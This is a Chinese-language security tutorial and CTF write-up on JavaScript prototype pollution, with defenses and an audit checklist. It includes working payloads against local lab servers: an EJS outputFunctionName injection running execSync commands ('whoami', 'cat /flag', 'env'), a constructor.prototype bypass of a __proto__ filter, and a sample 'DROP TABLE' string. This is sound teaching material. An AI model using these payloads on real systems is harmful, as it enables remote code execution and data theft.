JS 原型链污染漏洞 - 从0到1 的文章封面
返回渗透 Wiki
Web 漏洞与利用 渗透 Wiki

JS 原型链污染漏洞 - 从0到1

JS 原型链污染漏洞 - 从0到1

学这部分内容的起因是某线下赛本地AI给出了 server.js 源码分析,但自己看不懂 payload 也不理解源码,导致试了很久才出flag.

这里简单学习一下。


第一部分:前置知识 - JS 原型链

1.1 什么是原型(Prototype)

在 JS 中,几乎所有对象都有一个隐藏属性 [[Prototype]](也叫 __proto__),它指向另一个对象。当你访问对象的一个属性时,如果对象自身没有这个属性,JS 引擎会沿着 __proto__ 向上查找——这就是原型链

// 创建一个普通对象
const obj = { name: "Alice" };

// obj 自身没有 toString 方法,但可以调用
console.log(obj.toString()); // "[object Object]"  ← 从哪来的?

// 答案:从原型链上来的
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.prototype.hasOwnProperty('toString')); // true

查找路径:objobj.__proto__(即 Object.prototype)→ Object.prototype.__proto__(即 null,链终止)

1.2 原型链的终点

obj.__proto__                        // Object.prototype
obj.__proto__.__proto__              // null  ← 原型链终点

1.3 构造函数与 prototype

每个函数都有一个 prototype 属性(注意:不是 __proto__),它是通过 new 创建的实例的 __proto__

function Person(name) {
    this.name = name;
}
Person.prototype.sayHi = function() {
    console.log("Hi, I'm " + this.name);
};

const p = new Person("Bob");

p.sayHi();                           // "Hi, I'm Bob" ← 从原型继承来的
p.__proto__ === Person.prototype;     // true
Person.prototype.__proto__ === Object.prototype; // true

1.4 __proto__ vs prototype 的区别

__proto__prototype
存在于所有对象函数
含义对象的原型(指向父对象)构造函数的实例原型
关系obj.__proto__ === Constructor.prototype

示例说明

function Dog(name){
    this.name = name;
}

const dog = new Dog("dog");
console.log(dog.__proto__); //代表 dog 的原型对象,也就是 Dog.prototype
console.log(Dog.prototype); //代表 Dog 函数的原型对象,Dog.prototype 是 Dog 这个函数自带的一个对象属性,它的作用是:存放所有 new Dog() 实例共享的属性和方法。

// 默认 Dog.prototype 只有一个属性,指回构造函数 {constructor: Dog}
// 当给 Dog.prototype 添加属性时,所有 new Dog() 的实例都能访问到这个属性

Dog.prototype.wang = function() {
    console.log("wang wang");
}
const dog2 = new Dog("dog2");
dog2.wang(); // wang wang

// 两者指向同一块内存,Dog.prototype === dog.__proto__ 为 true
console.log(Dog.prototype === dog.__proto__); // true

再次理解,js 里函数也是一个对象,也可以有属性,Dog.prototype 就代表了这个对象的属性,而 dog.__proto__ 就是这个实例的原型对象。 两者指向同一块内存,Dog.prototype === dog.__proto__true

1.5 一张图理解原型链

p (实例)
 │  name: "Bob"

 ├──__proto__──→ Person.prototype
 │                 sayHi: function
 │                 constructor: Person
 │                 │
 │                 ├──__proto__──→ Object.prototype
 │                                 toString: function
 │                                 hasOwnProperty: function
 │                                 constructor: Object
 │                                 │
 │                                 ├──__proto__──→ null (终点)

第二部分:什么是原型链污染

2.1 核心概念

原型链污染 = 攻击者修改了 Object.prototype(或某个构造函数的 prototype),使得所有从该原型继承的对象都继承了攻击者注入的属性。

// 正常情况
const admin = { role: "admin" };
const user  = { role: "user" };
console.log(user.isAdmin);  // undefined ← 正常
console.log(admin.__proto__); // Object: null prototype 找到了他爸 Object.prototype
console.log(Object.prototype);

// ⚠️ 污染攻击
Object.prototype.isAdmin = true;       // 污染了原型链!
console.log(user.isAdmin);  // true  ← 被污染了!
console.log(admin.isAdmin); // true ← 连 admin 也被污染了!

所有继承自 Object.prototype 的对象都会受到影响——这就是危害所在。

2.2 为什么危险?

很多代码的逻辑判断依赖”属性不存在时返回 undefined”:

// 常见权限检查
if (user.isAdmin) {
    // 执行管理员操作
}

// 常见配置检查
if (options.debug) {
    // 输出敏感信息
}

如果攻击者污染了 Object.prototype.isAdmin = trueObject.prototype.debug = true,所有这些检查都会被绕过。


第三部分:污染是如何发生的

3.1 不安全的对象合并

这是最常见的漏洞场景。很多库会实现类似 merge / extend / deepCopy 的函数:

function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);  // 递归合并
        } else {
            target[key] = source[key];
        }
    }
}

注释版:

function merge(target, source) {
    // 遍历 source 的所有可枚举属性(包括 __proto__)
    for (let key in source) {
        // 如果 source[key] 是对象(如 {isAdmin: true}),需要递归处理
        if (typeof source[key] === 'object') {
            // 如果 target 没有这个属性,先创建一个空对象
            if (!target[key]) target[key] = {};
            // 递归:把 source[key] 的内容合并到 target[key] 中
            merge(target[key], source[key]);
        } else {
            // source[key] 不是对象(字符串、数字等),直接赋值
            target[key] = source[key];
        }
    }
}

正常使用没问题:

const config = { database: { host: "localhost" } };
const userInput = { database: { port: 3306 } };
merge(config, userInput);
// config = { database: { host: "localhost", port: 3306 } }


// 第1轮:key = "db",source["db"] 是对象 → 递归

// 第2轮:key = "port",source["port"] = 3306 不是对象 → 直接赋值

// 结果:config = { db: { host: "localhost", port: 3306 } }

恶意输入触发污染:

const config = {};
const maliciousInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge(config, maliciousInput);

// 现在 Object.prototype.isAdmin === true !
console.log({}.isAdmin); // true  ← 所有新对象都被污染了

为什么污染攻击要用 JSON.parse JSON.parse() 把 JSON 字符串转换成 JS 对象。

// ❌ 直接写对象字面量,__proto__ 不会被当作普通 key
const obj = { __proto__: { isAdmin: true } };
// JS 引擎把 __proto__ 当作原型设置语法,不是普通属性
// 结果:obj 的原型被设为 {isAdmin: true},但 for...in 遍历不到 "__proto__" 这个 key

// ✅ 用 JSON.parse,__proto__ 被当作普通字符串 key
const obj2 = JSON.parse('{"__proto__":{"isAdmin":true}}');
// JSON 里 __proto__ 就是一个普通的 key
// for...in 能遍历到 "__proto__"

3.2 关键原理拆解

为什么 __proto__ 能被作为 key 遍历?

const obj = JSON.parse('{"__proto__":{"isAdmin":true}}');

// for...in 会遍历 __proto__ 这个 key
for (let key in obj) {
    console.log(key);  // 输出: "__proto__"
}

// 在 merge 中:
// key = "__proto__"
// target[key] → target["__proto__"] → target.__proto__ → Object.prototype
// 于是 merge(Object.prototype, {isAdmin: true})
// 结果:Object.prototype.isAdmin = true

核心原因: for...in 循环会遍历对象自身的 __proto__ 属性(作为普通 key),而 target["__proto__"] 访问的就是原型,导致递归时修改了 Object.prototype

3.3 不安全的 clone / extend

function clone(obj) {
    return merge({}, obj);  // 同样的问题
}

3.4 通过 constructor 污染

constructor 是每个对象原型上自带的属性,指回创建它的构造函数。

const obj = {};
console.log(obj.constructor);        // [Function: Object] ← 指回 Object 函数
console.log(obj.constructor === Object); // true

const arr = [];
console.log(arr.constructor);        // [Function: Array] ← 指回 Array 函数

所以 obj.constructor.prototype 就等于 Object.prototype 所以除了 __proto__,还可以通过 constructor.prototype 达到同样效果:

const maliciousInput = JSON.parse('{"constructor":{"prototype":{"isAdmin":true}}}');

// 在 merge 中:
// key = "constructor"
// target["constructor"] → 目标对象的 constructor(通常是 Object)
// 递归进入:
//   key = "prototype"
//   target["prototype"] → Object.prototype
//   结果:Object.prototype.isAdmin = true

第四部分:实战 Payload 构造

4.1 基本 Payload

{"__proto__":{"polluted":"yes"}}

4.2 通过 constructor 链

{"constructor":{"prototype":{"isAdmin":true}}}

4.3 针对特定类的污染

// 如果目标不是普通对象,而是某个类的实例
function User() {}
const u = new User();

// 污染 User.prototype 而非 Object.prototype
merge(u, JSON.parse('{"__proto__":{"role":"admin"}}'));
// u.__proto__ === User.prototype
// 所以 User.prototype.role = "admin"
// 所有 User 实例的 role 都变成了 "admin"

第五部分:经典漏洞函数模式

5.1 危险模式识别

以下模式都是可能存在原型链污染的:

// 模式1:递归赋值
target[key] = source[key];          // key 可控时危险

// 模式2:递归对象操作
target[key][subKey] = value;        // key 可控时危险

// 模式3:动态属性设置
obj[key] = value;                   // key 来自用户输入

// 模式4:for...in + 递归
for (let key in source) {           // key 可能是 __proto__
    merge(target[key], source[key]);
}

5.2 常见漏洞函数名

在代码审计中,关注以下函数/方法:

  • merge(), extend(), mixIn(), deepMerge()
  • clone(), deepCopy(), copy()
  • set(), setPath(), setValue()
  • defaults(), deepDefaults()
  • 任何递归处理对象的函数

5.3 历史漏洞库

库名漏洞函数CVE
lodash_.merge, _.defaultsDeepCVE-2020-8203
jQuery$.extendCVE-2019-11358
minimistparse()CVE-2020-7598
node-forge多处CVE-2020-7720
express-fileuploadparse()CVE-2020-7699

第六部分:实战练习

6.1 本地复现 - 不安全的 merge

创建以下文件并运行:

// 危险的 merge 函数
function merge(target, source){
    for(let key in source){
        if(source[key] instanceof Object){
            if(!target[key]) target[key] = {};
            merge(target[key], source[key]);
        }
        else{
            target[key] = source[key];
        }
    }
}


// 正常使用
const config = {};
merge(config, JSON.parse('{"db":{"admin":"******"}}'));
console.log(config);

// 污染原型链
merge(config, JSON.parse('{"__proto__":{"admin":"123456"}}'));
console.log({}.admin);  //123456,污染成功

6.2 练习:绕过权限检查

// challenge.js
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

const express = require('express');
const app = express();
app.use(express.json());

app.post('/update', (req, res) => {
    const config = {};
    merge(config, req.body);
    res.json({ msg: "updated" });
});

app.get('/flag', (req, res) => {
    // 权限检查:依赖属性不存在返回 undefined
    const user = {};
    if (user.role === 'admin') {
        res.send("FLAG{prototype_pollution_is_dangerous}");
    } else {
        res.status(403).send("Forbidden");
    }
});

app.listen(3000);

攻击步骤:

  1. 先发送污染请求:
curl -X POST http://localhost:3000/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"role":"admin"}}'
  1. 再访问 flag:
curl http://localhost:3000/flag
# 返回: FLAG{prototype_pollution_is_dangerous}

image-20260413233106018

6.3 练习:EJS RCE(原型链污染 → 代码执行)

原型链污染本身只是”属性注入”,但在特定环境下可以升级为 RCE。

第一步:EJS 是什么

EJS 是一个模板引擎,把模板字符串渲染成 HTML:

const ejs = require('ejs');

// 模板里 <%= name %> 会被替换成变量值
const html = ejs.render('Hello <%= name %>!', { name: "Bob" });
// 结果: "Hello Bob!"

第二步:EJS 内部怎么渲染的

EJS 不是简单的字符串替换,它会把模板编译成 JS 函数再执行:

// 模板: "Hello <%= name %>!"
// EJS 编译后等价于生成这样的函数:
function compiledFn(data) {
    let output = "";
    output += "Hello ";
    output += data.name;   // ← <%= name %> 变成了这行
    output += "!";
    return output;
}

关键:EJS 用字符串拼接出函数代码,然后 eval / new Function 执行它

第三步:optionoutputFunctionName

options 就是 传给 EJS 模板引擎的「配置对象」。 你在使用 EJS 渲染模板时,会写类似这样的代码:

// 前端/后端传入用户数据 -> 变成渲染配置
ejs.render(template, userData, options); 
  • 它是一个普通 JS 对象
  • 作用:告诉 EJS 怎么编译、怎么渲染模板 比如
const options = {
  cache: true,
  filename: "index.ejs"
};

如果用户可控的数据被合并到了 options,攻击者就能通过原型链污染,往 options 里塞恶意属性

outputFunctionNameEJS 内部的一个编译配置项,也是 RCE 的核心漏洞点 outputFunctionName 是用来自定义 EJS 渲染时生成的函数名 EJS 在编译时,会从 options 对象读取 outputFunctionName,用来给输出变量命名:

// EJS 内部简化逻辑(真实源码的简化版)
var outputFunctionName = opts.outputFunctionName || '__append';

// 然后拼进编译出的函数代码里:
var compiledCode = 'var ' + outputFunctionName + " = '';";
// 如果 outputFunctionName 是 "__append",拼出来是:
// var __append = '';

// 然后用 new Function 执行这段代码
var fn = new Function(data, compiledCode);

正常情况下 outputFunctionNameundefined,EJS 用默认值 "__append",没问题。

第四步:原型链污染介入

opts 是一个普通对象,当你访问 opts.outputFunctionName 时:

const opts = {};
console.log(opts.outputFunctionName);  // undefined ← 正常,自身没有这个属性

但如果污染了原型链:

Object.prototype.outputFunctionName = "恶意代码";
const opts = {};
console.log(opts.outputFunctionName);  // "恶意代码" ← 从原型链继承了!

第五步:构造 RCE Payload

攻击者通过原型链污染设置 outputFunctionName

{
    "__proto__": {
        "outputFunctionName": "a;return process.mainModule.require('child_process').execSync('whoami');//"
    }
}

EJS 编译时拼出的代码变成了:

var a;return process.mainModule.require('child_process').execSync('whoami');// = '';

拆解这段注入:

a;                                          ← 声明变量 a,结束语句
return process.mainModule                    ← 加载 Node.js 主模块
  .require('child_process')                 ← 导入子进程模块
  .execSync('whoami');                      ← 执行系统命令
//                                          ← 注释掉后面的内容,避免语法错误

原本 EJS 要拼的是 var __append = '';,现在变成了 var a;return ...;// = '';// 把后面的 = '' 注释掉了。

第六步:完整攻击流程

1. 攻击者发送 POST /update
   Body: {"__proto__":{"outputFunctionName":"a;return process.mainModule.require('child_process').execSync('calc');//"}}

2. merge() 污染了 Object.prototype.outputFunctionName

3. 之后任何 EJS 渲染请求(如 GET /render)
   → ejs.render() 创建 opts = {}
   → opts.outputFunctionName 从原型链读到恶意值
   → 编译模板时把恶意代码拼进函数
new Function() 执行 → RCE

第七步:本地复现

需要安装 ejs:npm install ejs

// demo3.js
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

const express = require('express');
const ejs = require('ejs');
const app = express();
app.use(express.json());

// 攻击入口:不安全的 merge
app.post('/update', (req, res) => {
    const config = {};
    merge(config, req.body);
    res.json({ msg: "updated" });
});

// 触发 EJS 渲染
app.get('/render', (req, res) => {
    const html = ejs.render('<h1>Hello <%= name %></h1>', { name: "World" });
    res.send(html);
});

app.listen(3000, () => console.log("Server on port 3000"));

这里再加一个测试路由,用于看是否被污染了

// 调试:检查污染是否成功
app.get('/check', (req, res) => {
    const test = {};
    res.json({
        polluted: test.outputFunctionName || "未污染",
        ObjectPrototype: Object.prototype.outputFunctionName || "未污染"
    });
});

比如

curl -X POST localhost:3000/update -H "Content-Type:application/json" `
> -d '{"__proto__":{"outputFunctionName":"a;return process.mainModule.require(''child_process'').execSync(''calc'');//"}}'
{"msg":"updated"}

curl localhost:3000/check
{"polluted":"a;return process.mainModule.require('child_process').execSync('calc');//","ObjectPrototype":"a;return process.mainModule.require('child_process').execSync('calc');//"}

攻击步骤:

# 步骤1:污染原型链
curl -X POST localhost:3000/update -H "Content-Type:application/json" `
-d '{"__proto__":{"outputFunctionName":"a;return process.mainModule.require(''child_process'').execSync(''calc'');//"}}' 

# 步骤2:触发 EJS 渲染,RCE 执行
curl localhost:3000/render

原理再次解读:

merge
第1轮:key = "__proto__"
  config["__proto__"] → config.__proto__Object.prototype  
  递归进入 merge(Object.prototype, {outputFunctionName: "恶意代码"})  

第2轮:key = "outputFunctionName"
    Object.prototype["outputFunctionName"] = "恶意代码"  ← 污染了全局原型!

config 本身没有被添加任何属性,__proto__ 不是 config 自身的 key,而是访问到了 Object.prototype

污染是全局的,之后整个 Node.js 进程中任何 {} 对象访问 outputFunctionName 都会从原型链读到恶意值:

// EJS 内部执行 ejs.render() 时
const opts = {};  // 空对象
opts.outputFunctionName  // undefined?不!从 Object.prototype 继承了 "恶意代码"

config 只是入口,真正被修改的是 Object.prototype,影响的是整个进程的所有对象。 接着渲染部分通过拼接可执行代码

process.mainModuleNode.js 的全局对象,代表主模块
.require('child_process')导入 Node.js 子进程模块
.execSync('calc')同步执行系统命令 calc(Windows 计算器)

步骤2访问后,如果弹出计算器(Windows)或执行了命令,说明 RCE 成功。

如果未执行成功,原因是当前安装的 EJS 版本已修复了这个漏洞,新版 EJS 内部用了 hasOwnProperty 检查,不会读取从原型链继承的属性。

npm install ejs@3.1.6 来复现 (当前是 ejs@5.0.2

image-20260413233148672 成功弹出计算器

如果是面向 ctf 场景,想执行命令获得flag,可以参考下面的 payload

// 读取 flag 文件内容
a;return process.mainModule.require('fs').readFileSync('./flag').toString();//

// linux
a;return process.mainModule.require('child_process').execSync('cat /flag').toString();//

// windows
a;return process.mainModule.require('child_process').execSync('type flag.txt').toString();//

// 环境变量
a;return process.mainModule.require('child_process').execSync('env').toString();//

本机再次测试一下(windows)

image-20260413233156930

总结

原型链污染(属性注入)

污染 Object.prototype.outputFunctionName

EJS 编译模板时读到被污染的属性值

恶意代码被拼进编译生成的函数

new Function() 执行 → RCE

核心思路:找到目标代码中从对象读取、且会影响代码拼接/执行的属性名,通过原型链污染注入恶意值


以下的部分待学习。

第七部分:污染的利用链

7.1 污染 → 属性注入

最基本的利用,修改逻辑判断:

原型链污染 → Object.prototype.xxx = value → 绕过 if 检查

7.2 污染 → 模板引擎 RCE

模板引擎污染属性效果
EJSoutputFunctionName代码执行
Pugself/allowInline代码执行
NunjucksautoescapeXSS / 代码执行

7.3 污染 → SQL 注入

// 如果 ORM 的查询参数从对象继承
const query = {};
Model.find(query);  // query.where 默认 undefined

// 污染后
Object.prototype.where = "1=1; DROP TABLE users--";
Model.find({});  // 生成了恶意 SQL

7.4 污染 → Node.js 子进程

// 污染环境变量
Object.prototype.env = {
    NODE_OPTIONS: "--require /proc/self/environ",
    EVIL: "require('child_process').execSync('id')"
};

第八部分:防御方法

8.1 过滤 __proto__constructor

function safeMerge(target, source) {
    for (let key in source) {
        if (key === '__proto__' || key === 'constructor') continue;  // 防御!
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

8.2 使用 Object.create(null)

Object.create(null) 创建的对象没有原型__proto__ 不可访问:

const safeTarget = Object.create(null);
merge(safeTarget, userInput);  // safeTarget.__proto__ 是 undefined,无法向上污染

8.3 使用 Object.defineProperty 冻结原型

Object.freeze(Object.prototype);  // 禁止修改 Object.prototype
// 任何对 Object.prototype 的赋值都会静默失败(严格模式下抛错)

8.4 使用 Map 代替普通对象

// Map 的 key 可以是任意值,不会与原型链交互
const config = new Map();
config.set("db_host", "localhost");
// config.get("isAdmin") → undefined,不受原型链影响

8.5 使用安全库

  • 使用已修复的 lodash(≥4.17.20)
  • 使用 lodash.defaultsDeep 的安全替代
  • 使用 hoekmerge(已修复版本)

第九部分:代码审计 Checklist

审计 JS 项目时,按以下步骤检查:

  1. 搜索危险函数merge, extend, clone, deepCopy, setPath
  2. 检查输入来源:这些函数的 source 参数是否来自用户输入?
  3. 检查是否有 __proto__ / constructor 过滤
  4. 检查是否使用了 Object.create(null)
  5. 检查依赖版本:是否有已知漏洞的 lodash / jQuery 等
  6. 检查模板引擎:是否使用了 EJS / Pug / Nunjucks(可升级为 RCE)
  7. 检查 Object.freeze(Object.prototype):是否冻结了原型

第十部分:CTF 常见题型总结

10.1 直接污染绕过

题目中有 if (obj.xxx) 之类的检查,直接污染 Object.prototype.xxx 即可。

10.2 污染 + 模板引擎 RCE

污染特定属性(如 EJS 的 outputFunctionName),让模板引擎执行代码。

10.3 污染 + 子进程执行

污染 NODE_OPTIONS 等环境变量,导致 Node.js 启动子进程时加载恶意代码。

10.4 污染 + 路径遍历

{"__proto__":{"root":"/"}}

某些库会读取 options.root 作为文件根目录,污染后可遍历任意文件。

10.5 污染 + 反序列化

node-serialize 等库的反序列化函数如果内部使用了不安全的 merge,也可以触发污染。


实战练习

status-check

这里简单贴一下源码(不带注释)

server.js

const express = require('express');
const { execFileSync } = require('child_process');

const app = express();
const PORT = 3333;
const DEFAULT_STATUS_MESSAGE = 'Worker node is healthy and responding.';
const DEFAULT_HEALTHCHECK_SCRIPT = `console.log(process.env.WORKER_STATUS_MESSAGE || ${JSON.stringify(DEFAULT_STATUS_MESSAGE)})`;

app.use(express.json());

app.use((req, res, next) => {
    console.log(`[${new Date().toISOString()}] ${req.method} ${req.url}`);
    next();
});

function merge(target, source) {
    for (const key in source) {
        if (key === '__proto__') {
            console.warn('Security Alert: Attempted prototype pollution blocked!');
            continue;
        }

        if (source[key] && typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

const systemConfig = {
    appName: 'Enterprise Status Checker Pro',
    version: '2.2.0',
    features: {
        enableDebug: false,
        logging: true
    },
    worker: {
        runtime: 'node',
        healthcheck: 'embedded-script'
    }
};

function buildWorkerRuntime() {
    const workerOverrides = {};
    const timeoutCandidate = Number(workerOverrides.timeout);

    return {
        binary: workerOverrides.binary || process.execPath,
        env: workerOverrides.env || {
            ...process.env,
            WORKER_STATUS_MESSAGE: DEFAULT_STATUS_MESSAGE
        },
        script: workerOverrides.healthcheckScript || DEFAULT_HEALTHCHECK_SCRIPT,
        timeout: Number.isFinite(timeoutCandidate) && timeoutCandidate > 0
            ? timeoutCandidate
            : 2000
    };
}

app.get('/api/config', (req, res) => {
    res.json(systemConfig);
});

app.post('/api/settings', (req, res) => {
    try {
        const userPreferences = {};
        merge(userPreferences, req.body);

        res.json({
            status: 'success',
            message: 'Preferences temporarily loaded.',
            data: userPreferences
        });
    } catch (e) {
        res.status(500).json({ error: 'Failed to parse settings.' });
    }
});

app.get('/api/status', (req, res) => {
    try {
        const workerRuntime = buildWorkerRuntime();
        const output = execFileSync(
            workerRuntime.binary,
            ['-e', workerRuntime.script],
            {
                env: workerRuntime.env,
                timeout: workerRuntime.timeout
            }
        ).toString();

        res.send(`
            <h1>${systemConfig.appName}</h1>
            <p>Version: ${systemConfig.version}</p>
            <hr>
            <p>Status: <strong>${output}</strong></p>
        `);
    } catch (err) {
        res.status(500).send('Sub-process execution failed. Is the worker node down?');
    }
});

app.listen(PORT, () => {
    console.log(`Enterprise Status Checker running on port ${PORT}`);
});

攻击路径:

通过 /api/settings 路由利用恶意merge()来污染userPreferences = {};,尝试基于此修改 Object.prototype ,达到全局污染的效果;接着通过/api/status路由,利用execFileSync()来执行注入的命令,最后返回命令执行后的结果。

这里给一下关键分析点:

buildWorkerRuntime() 函数

function buildWorkerRuntime() {
    const workerOverrides = {};   // 空对象,可被修改
    return {
        binary: workerOverrides.binary || process.execPath, //给 binary 赋值,默认 process.execPath (即node.exe路径)
        env: workerOverrides.env || {                       // 给 env 赋值
            ...process.env,
            WORKER_STATUS_MESSAGE: DEFAULT_STATUS_MESSAGE
        },
        script: workerOverrides.healthcheckScript || DEFAULT_HEALTHCHECK_SCRIPT,  // 关键,给执行脚本 script 赋值,默认为 DEFAULT_HEALTHCHECK_SCRIPT,在源码开头已经定义了;这里就是需要命令修改的点
    };
}

status路由核心函数

const output = execFileSync(
            workerRuntime.binary,
            ['-e', workerRuntime.script],
            {
                env: workerRuntime.env,
                timeout: workerRuntime.timeout
            }
        ).toString();

先看execFileSync (执行外部代码) 格式

execFileSync(file, args, options)

file:要执行的程序路径,这里默认 process.execPath,也就是Node 可执行文件

args:执行参数,-e是 Node 的参数,表示“直接执行后面那段 JS 字符串”,workerRuntime.script 就是要被执行的脚本

  • 组合后等价于 node -e <script>

option:执行选项,可设置环境变量,超时时间…

注意:

  1. output.toString() 只是把子进程的标准输出 stdout 转成字符串。
  2. node -e 执行脚本时,表达式的返回值不会自动打印到 stdout。
  3. 所以如果 payload 只是读文件但不打印,stdout 为空,output 也会是空字符串。

因此在注入恶意 payload 的时候需要使用输出函数,比如console.log()

尝试攻击

目标是注入 script: workerOverrides.healthcheckScript || DEFAULT_HEALTHCHECK_SCRIPT,把 script的值workerOverrides.healthcheckScript修改我们想要执行的脚本。

尝试通过 merge(userPreferences, req.body); 进行注入

注意到 merge() 的过滤

if (key === '__proto__') {
            console.warn('Security Alert: Attempted prototype pollution blocked!');
            continue;
        }

过滤了 __proto__,那么就不能通过 {}.__proto__来污染 Object.prototype 进而控制healthcheckScript的属性值

但这里可以使用 constructorprototype 达到相同效果

链路:{} -> {}.constructor -> Object -> Object.prototype => Object.prototyoe.healthcheckScript

exp

{
	"constructor":{
		"prototype":{
			"healthcheckScript":"console.log(process.env.flag)"
		}
	}
}

部署漏洞环境并测试

$env:flag="flag{i_miss_u}" 注入环境变量

node .\server.js 启动环境

/api/settings 污染,/api/status得到 flag

image-20260414232911974

成功得到flag

最后提一句,程序找不到 workerRuntime.script 时,即没有 {}.script 会默认向上找,最后被污染的 Object.healthcheckScript 注入

参考资料